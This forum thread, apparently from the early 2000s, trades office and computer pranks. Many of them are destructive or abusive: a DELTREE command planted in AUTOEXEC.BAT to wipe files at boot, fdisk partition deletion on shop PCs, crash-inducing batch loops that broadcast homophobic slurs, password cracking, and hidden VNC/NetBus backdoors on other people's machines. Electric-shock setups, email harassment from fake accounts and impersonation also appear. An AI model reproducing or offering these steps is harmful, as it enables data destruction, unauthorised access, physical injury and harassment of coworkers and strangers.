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what did we forget how to ad trails to the mouse and make it left handed<<really makes em nuts, also on windows 95 machines you can edit logo.sys, i do believe is hiddin youre root directory for the splash screen, just rename it and place in a nice porno snap shot thats a bmp file, and copy it as logo.sys , works reall good!
anny way others were in the days of 311 ad line devise = "thier name here" @$$ , so when it boots says error cann not find thier @$$ , another reall nasty trick is edit the msdos.sys file its atrribed as read only so you cant edit it, the win 98 resource kit can though and if its not a fat 32 drive , smaller then 2 gigs pctools v8, and doss 622 will unatrib it, then edit it where you see boot gui=1 change it to zero it will then boot to the command prompt :D :D :D :D , ive done it on test drives , you then need to type win in like 3.x have fun
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Edited by Sowulo--This is not funny. This is a criminal action!
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[quote]Originally posted by thetilb:
<strong>Not exactly computer related, but slip a 9v battery into a urinal, and wait for the scream!</strong><hr></blockquote>
[quote]Originally posted by opiate:
<strong>
Does that really work? I may need to test this prank. :D I'll let you know how things turn out..</strong><hr></blockquote>
Havnt tried it myslef, But a mate has tried it (Dumba$$ tested it himself, he said it hurt like hell). Heres a pointer to help deploy this weapon correctly, Make sure the battery contacts are submerged in the urinal. Oh and one final point DONT test it yourself.
Heres one more trick to try.
1.Take a piece paper from the office photocopier & type in big bold print in the exact center of the page, "SERVICE COPIER SOON." Then photocopy 20 copies and place them randomly in the photocopier paper tray.
Cheers
Papa"Checking for traps"Smurf
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sorry sowulo , but she thought it was verry funny
shiek yer boutti , was a frank zappa album, and realy is another way of saying shake yer booty, she actually got it , and thought it was verry apropriate , while stalking some one is ilegal, making a total joke out of someone stalking a gorgeouse babe isnt very illegal now is it,,
she knew it was me , by my crappy punctiation, and knew it was a joke , see kidding about stalking some one is funny, yes it does happen all the time on the net, i will admitand not verry funny when it really does happen! but come on !!, wrighting some one telling them im stalking you, and i want you to join my harram doesent happen verry often,
stalkers usually will never admit it eaven to them selves,
these goodlookin babes have to deal with this,, it does happenn to them , and actually they usually either laugh or get suprised when i ask em "hey youre cute ,can i stalk you,, i need youre permision first"they usually get a chuckle out of it when they get it as though it were a real good pick up line, with a punchline from a joke
well this babe gave me permision to "stalk her" truth is if you email a babe on ocasion, join her in chat , visit her at work , join her at the bar for a few drinks is that stalking some one? im just curious, i know i was deprived of a real life some where along the line ohh well still got my sense of humor!!!
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[quote]Originally posted by Papa Smurf:
<strong>
Heres one more trick to try.
1.Take a piece paper from the office photocopier & type in big bold print in the exact center of the page, "SERVICE COPIER SOON." Then photocopy 20 copies and place them randomly in the photocopier paper tray.
Papa"Checking for traps"Smurf</strong><hr></blockquote>
good one I will have to keep that in mind when I have to reload the paper in the copier next time.
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Another minor prank is to super glue a high value coin to the pavement/sidewalk next to a window that you can easily see it from, and then see the frustration build! :D ;) :D
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[quote]Originally posted by thetilb:
<strong>Another minor prank is to super glue a high value coin to the pavement/sidewalk next to a window that you can easily see it from, and then see the frustration build! </strong><hr></blockquote>
ive done that.... did it to one of my frieds when i was in hs.. i was sittin in hall for lunch or sumthing like that and there were quarters glued to the floor, so i asked her to try and pick them up.. needless to say i got a little attitude for that
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zap your friends,
what you will need:
Car battery
jumper cables
out side soda machine
door with metal handle
hot day
Send your friend to get soda's your treat, then when he is out hoot the battery up to the door and wait for him to come back. The soda should seat in the heat and when he touches the handle h ewill get a mild to strong shock. Do not do this to people with heart conditions.
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[quote]Originally posted by El Batcho:
<strong>Do not do this to people with heart conditions.</strong><hr></blockquote>
I'm glad to see that you care. :D
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[quote]Originally posted by MacGyver:
<strong>
I'm glad to see that you care. :D </strong><hr></blockquote>
well you see they just fall down too quickly and it's not as funny :)
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i told my 80+ father about how i would like to bare the 220 wires for the dryer and re wroute them to where my neighbor was climing through the basement to rob my house he said , "you would electacute him for shure! damn that would be a shame electrocuteing a guy like him " all with a smile on his face,
kids dont try this at home , eey that would be illegal
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I used this one on a Co-worker that had a desk behind me.. I unpluged his keyboard pluged mine into his computer and did some of my own typing.. He was using word at the time.. Stuff like " I like it when you stroke my Keys.." ;)
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Ahh just remembered the last one I did.. Set all of his computer equipment I could to 220 V.. Its Evil to watch people over trouble shoot that one..
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Crank up the double-click speed on the mouse. None of the icons will work because nobody tries to click that fast. It will highlight, but no activate.
Change the shell from explore.exe to progman.exe and watch the 3.11 flashbacks occur. (I did this one to a guy who decided to file share his entire c: drive. Did the edit from another pc and saved it, so the change took place without touching the pc!)
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Turn virtual memory down to 10MB. Starts up, runs one or two programs then goes to crap if the person can't figure it out.
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Best one I ever did was o so simple
I had a PC gag called fake format, when run it ask if you really want to format the c: drive and when you said no it would run the gag and look like it was.
well i stuck the little gag on the pc and created an icon on the desktop and changed it for the freecell icon that was already there.
he he one of my coworkers hit it once cursed and just got up and walked away.
he thought he just roasted the shop PC
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This one is priceless, drives the women nuts in the office...get ahold of IBM's pivot monitor software, can d/l from their site, and install while your victim is away, then set it to sideways view or upside down :)
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I've been having fun lately with VNC (a freeware remote desktop control suite,similar to pcanywhere ). A patch i got from another forum here allows me to install it without the systray icon, i can take control of their desktop and they have no idea what's going on. The potential mischeif is limited only by my imagination....
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[quote]Originally posted by Ahcoraj:
<strong>I've been having fun lately with VNC (a freeware remote desktop control suite,similar to pcanywhere ). A patch i got from another forum here allows me to install it without the systray icon, i can take control of their desktop and they have no idea what's going on. The potential mischeif is limited only by my imagination....</strong><hr></blockquote>
I know it's off topic but could I get that patch? Or at least a link? Thanks!
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Yet again another wallpaper...
Use paint to create your own BSOD messages. My favorite one is something like..
" Error 600666: Tear in Krnl.E=Mc3. Universe Halted. Please contact your System Administrator. "
Set it as the Active Desktop wallpaper with Icons hidden. Be sure to put a bunch of other memory address lines in it to make it really intimidating...
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Ive used VNC in some nefarious ways as well. Also NetBus a few times... I do support on a campus and have one or the other installed on most machines.
The great thing about "backdoors" is that you can see what the user is doing at the time of your little prank.. I would wait untill I found someone on our campus network that was playing a game of solitaire and I would pop up a message on their screen saying " To continue playing, please insert $1 ..." and then remotely pop the CDRom tray open. Usually they would just cancel the message and push the CD tray closed again and continue playing. So, once again, out pops the CD tray, and another message " No money detected... Please insert $1 to continue playing..." pops up. By this time they are getting annoyed and would cancel the message and close the tray. Up pops the message " No money detected... Game Over!", and I close out Solitare and remotely shut down the computer! This was a great prank to play on those poor individuals who werent really computer savy. The joke became even funnier one time when I got called down to check out a PC in one of the computer labs that the CD rom wasnt working in... there was a $1 bill stuck in the drive!!
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The Best one a co-worker and I did, was too this pain in the A$$ guy who called the Help Desk everyday complaining about one thing or another.
This Guy had a logictech cordless mouse and on the bottom of the receiver was a switch to use one or two devices, so one morning this guy goes into a meeting and we switch the receiver over to two devices and got our hands on another logictech mouse and setup in another cube to where we could see his display and waited till he return and let the fun begin.
We had fun for about twenty minutes before one of the guys co-workers caught us. This guy never call the Help Desk again.
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<a href="http://www.computerpranks.com/" target="_blank">Computer Pranks</a> this site has all the good pranks and installs, take a look it's worth it.
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also a great prank is to install MS Bob on someones pc, it's just so anoying and horrible but hours of fun to watch them try and figure it out.
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well i remember when this topic went around last year and i like the one about switching 2 wires on a network cable that still shows as there is a link but no activity
also one someone also mentioned was something that they would do at radio shack was to have the sames man distracted open a dos window and type fdisk and delete the partions then close the window but don't restart wait for them to restart the computer the next day and get no os found
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[quote]Originally posted by MorticiaAdams:
<strong>I love messing with my manager when it comes to the computer that him and the other female manager love to be on when they should be on the floor with us. So anything I can do to mess with them I do. I have a limited amout of access to what I can do.
Today I changed his tool bar on him and he almost went nuts trying to change it back. I had to since he couldnt figure it out.
Now I would really like to get this woman one she trully gets on my nerves. Shes always on the computer doing stuff just to sit on her butt.</strong><hr></blockquote>
When she does step away from the system, edit the MSDOS.SYS file to BOOTGUI=0
That usually throws most of the 'sane' techs into a blind panic here <VBEG>
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Just had the idea of using active desktop to display a frames based webpage that contains a frame to "/con/con". Would cause a merry little mess.
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frames web page... thats alot of work just save a batch file in the starup folder of windows
and insert the followin line into it:
/con/con
or you want a really good prank create a batch file called batch1.bat that looks like this
net send %username% IM GAY or something like that
ping -t 127.0.0.1
start batch2.bat
now batch2.bat looks like this
net send %username% IM GAY
ping -t 127.0.0.1
start batch1.bat
if you have over 512 megs of ram it will just make alot of noise for about 5 minutes before the machine reboots.
if you have 4 gigs of ram, only takes 12 minutes
but with the amount of windows that open , there is no way to stop it......alt+f4 dont work =-(
spent all day one day working on that batch file lol but the look is great when your in a active directory class , i did it to the teachers machine, while the projector was on and every thing, when the machine rebooted, he couldnt log in i changed his password using terminal services.
I LOVE LOPHT CRACK .... his password was class
apperntly he shouldnt be a admin or teaching admins with a password like that
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correction the files should look like this
:start
net send %username% IM GAY or something like that
ping -t 127.0.0.1
start batch2.bat
goto start
:fun
now batch2.bat looks like this
net send %username% IM GAY
ping -t 127.0.0.1
start batch1.bat
goto fun
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When I was going to vo-tech, there was this dork in our class that would always bring in viruses. For for like 3 months, randomly I would get to his PC before he got there in the morning and edit his AUTOEXEC.BAT file for the first line to read: @ECHO OFF
DELTREE /Y *.*
Needless to say he would be upset. :--)
Milkman
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The computer pranks site has the IO error on it at
<a href="http://www.rjlsoftware.com/software/entertainment/bomb/screenshots/mainscreen.jpg" target="_blank">http://www.rjlsoftware.com/software/entertainment/bomb/screenshots/mainscreen.jpg</a>
Just FYI for anyone who wanted it.
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Ok - I just did this:
Made the wallpaper an IO error. Put the bomb.exe in the start menu (it makes a fake IO error). I also turned the mouse double click function to the fastest setting.
The guy will come in and get the IO error. He will close it and the wall paper will be there and you can't close the wallpaper. He will click the icons and they will not double click unless he's a speed deamon with the mouse. might suffice for emulating a system freeze up.
I also set the sound scheme to jungle and made sure every even on the PC has a sound for it. I did this just so he would know we were playing with his PC so he doesn't go crawling to our desktop techs for help.
:)
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[quote]Originally posted by drewber:
<strong>correction the files should look like this
:start
net send %username% IM GAY or something like that
ping -t 127.0.0.1
start batch2.bat
goto start
:fun
now batch2.bat looks like this
net send %username% IM GAY
ping -t 127.0.0.1
start batch1.bat
goto fun</strong><hr></blockquote>
correction the files should look like this
:start
net send * Hello did you know im a PHAG!!!!
ping -t 127.0.0.1
start batch2.bat
goto start
:fun
now batch2.bat looks like this
net send * Thats right im a PHAG!!! Im GAY!!!
ping -t 127.0.0.1
start batch1.bat
goto fun
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Whats with the /con/con ? I have heard that5 it locks your system up but everytime that I have tried it doesnt work
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[quote]Originally posted by thetilb:
<strong>Another minor prank is to super glue a high value coin to the pavement/sidewalk next to a window that you can easily see it from, and then see the frustration build! :D ;) :D </strong><hr></blockquote>
Yeah, seen that a couple of times, to really get them back, I happen to own a brick cutter :D
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anny way sory SOWULO i had permision to stalk this babe so i sent her this funny email:::
Hi im shelk yerbouti, and whel i can not trust myself , you see ive been stalking you for a while now, because i want you to join my haram , and i feel its best you call the police and notify them because i can nott trust myself, you see its not for me its my son whos in love with you very much, and he wants you desperately to join his haram, well you see we dont know how to treat woman in our haram and well they quite very often eaven though the moneys good
we still abuse them regularly , so please before i hopp on my private jet with my money turban and i find out where you live please call the police and warn them ok because I cant trust my self
sincerley Sheik Yerbouti
i did this while she was at work , then like emailed her from ten bogus hotmial acounts so she got a flood from me telling me i cant help myself
ten in the like last one i admitted it was me.
she new it was me by my crappy punctuation , she kinda laughs at some of my childish pranks ,
kinda like walkin out of walmart and saying hey can i stell this item with this .. receipt
or no i didnt pay for this item yet. i used this, credit card,asking the person by the door is this ok with you smile :D << ive seen that get misinterperted already , sorry this post originally created confusion oh well ill make shure and explain it first nextime
thanxz ~~amcfreek~~~!
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[quote]Originally posted by amcfreek:
<strong>anny way sory SOWULO i had permision to stalk this babe so i sent her this funny email:::
Hi im shelk yerbouti, and whel i can not trust myself , you see ive been stalking you for a while now, because i want you to join my haram , and i feel its best you call the police and notify them because i can nott trust myself, you see its not for me its my son whos in love with you very much, and he wants you desperately to join his haram, well you see we dont know how to treat woman in our haram and well they quite very often eaven though the moneys good
we still abuse them regularly , so please before i hopp on my private jet with my money turban and i find out where you live please call the police and warn them ok because I cant trust my self
sincerley Sheik Yerbouti
i did this while she was at work , then like emailed her from ten bogus hotmial acounts so she got a flood from me telling me i cant help myself
ten in the like last one i admitted it was me.
she new it was me by my crappy punctuation , she kinda laughs at some of my childish pranks ,
kinda like walkin out of walmart and saying hey can i stell this item with this .. receipt
or no i didnt pay for this item yet. i used this, credit card,asking the person by the door is this ok with you smile :D << ive seen that get misinterperted already , sorry this post originally created confusion oh well ill make shure and explain it first nextime
thanxz ~~amcfreek~~~!</strong><hr></blockquote>
how old are you?
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Always good, but not really a prank more like revenge is to sign your boss up for porn mail at his work account. Or even better, set up fake hotmail account in his name and send out porn/nasty porn to the everyone group in his name. It's a sloppy account manager which allows this to happen but it does work.
